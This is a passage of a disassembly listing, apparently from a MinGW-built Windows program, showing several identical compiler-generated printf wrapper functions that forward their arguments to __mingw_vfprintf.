1400230fdmov [rsp+96], r8
140023102lea r8, [rsp+88]
140023107mov [rsp+88], rdx
14002310cmov [rsp+104], r9
140023111mov [rsp+56], r8
140023116mov [rsp+40], r8
14002311bcall [rip+7295]
140023121mov r8, [rsp+40]
140023126mov rdx, rbx
140023129mov rcx, rax
14002312ccall __mingw_vfprintf
140023131add rsp, 64
140023135pop rbx
140023136ret
1400230f0

140023137
140023137 // align 0x10

140023140
140023140printf:
140023140push rbx
140023141mov rbx, rcx
140023144mov ecx, 1
140023149sub rsp, 64
14002314dmov [rsp+96], r8
140023152lea r8, [rsp+88]
140023157mov [rsp+88], rdx
14002315cmov [rsp+104], r9
140023161mov [rsp+56], r8
140023166mov [rsp+40], r8
14002316bcall [rip+7215]
140023171mov r8, [rsp+40]
140023176mov rdx, rbx
140023179mov rcx, rax
14002317ccall __mingw_vfprintf
140023181add rsp, 64
140023185pop rbx
140023186ret
140023140

140023187
140023187 // align 0x10

140023190
140023190printf:
140023190push rbx
140023191mov rbx, rcx
140023194mov ecx, 1
140023199sub rsp, 64
14002319dmov [rsp+96], r8
1400231a2lea r8, [rsp+88]
1400231a7mov [rsp+88], rdx
1400231acmov [rsp+104], r9
1400231b1mov [rsp+56], r8
1400231b6mov [rsp+40], r8
1400231bbcall [rip+7135]
1400231c1mov r8, [rsp+40]
1400231c6mov rdx, rbx
1400231c9mov rcx, rax
1400231cccall __mingw_vfprintf
1400231d1add rsp, 64
1400231d5pop rbx
1400231d6ret
140023190

1400231d7
1400231d7 // align 0x10

1400231e0
1400231e0printf:
1400231e0push rbx
1400231e1mov rbx, rcx
1400231e4mov ecx, 1
1400231e9sub rsp, 64
1400231edmov [rsp+96], r8
1400231f2lea r8, [rsp+88]
1400231f7mov [rsp+88], rdx
1400231fcmov [rsp+104], r9
140023201mov [rsp+56], r8
140023206mov [rsp+40], r8
14002320bcall [rip+7055]
140023211mov r8, [rsp+40]
140023216mov rdx, rbx
140023219mov rcx, rax
14002321ccall __mingw_vfprintf
140023221add rsp, 64
140023225pop rbx
140023226ret
1400231e0

140023227
140023227 // align 0x10

140023230
140023230printf.constprop.0:
140023230sub rsp, 72
140023234mov ecx, 1
140023239mov [rsp+96], r8
14002323elea r8, [rsp+88]
140023243mov [rsp+88], rdx
140023248mov [rsp+104], r9
14002324dmov [rsp+56], r8
140023252mov [rsp+40], r8
140023257call [rip+6979]
14002325dmov r8, [rsp+40]
140023262lea rdx, [rip+22055]
140023269mov rcx, rax
14002326ccall __mingw_vfprintf
140023271add rsp, 72
140023275ret
140023230